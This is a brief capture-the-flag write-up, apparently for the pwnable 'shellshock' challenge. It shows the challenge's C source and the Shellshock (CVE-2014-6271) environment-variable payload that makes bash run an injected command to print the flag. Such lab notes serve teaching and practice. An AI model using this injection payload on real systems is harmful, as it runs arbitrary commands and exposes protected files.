test for shellshock

env x=’() { :;}; echo ceva’ ./bash -c :

shellshock@pwnable:~$ ls bash flag shellshock shellshock.c shellshock@pwnable:~$ cat shellshock.c #include int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0; }

shellshock@pwnable:~$ env x=’() { :;}; /bin/cat flag’ ./shellshock only if I knew CVE-2014-6271 ten years ago..!! Segmentation fault (core dumped)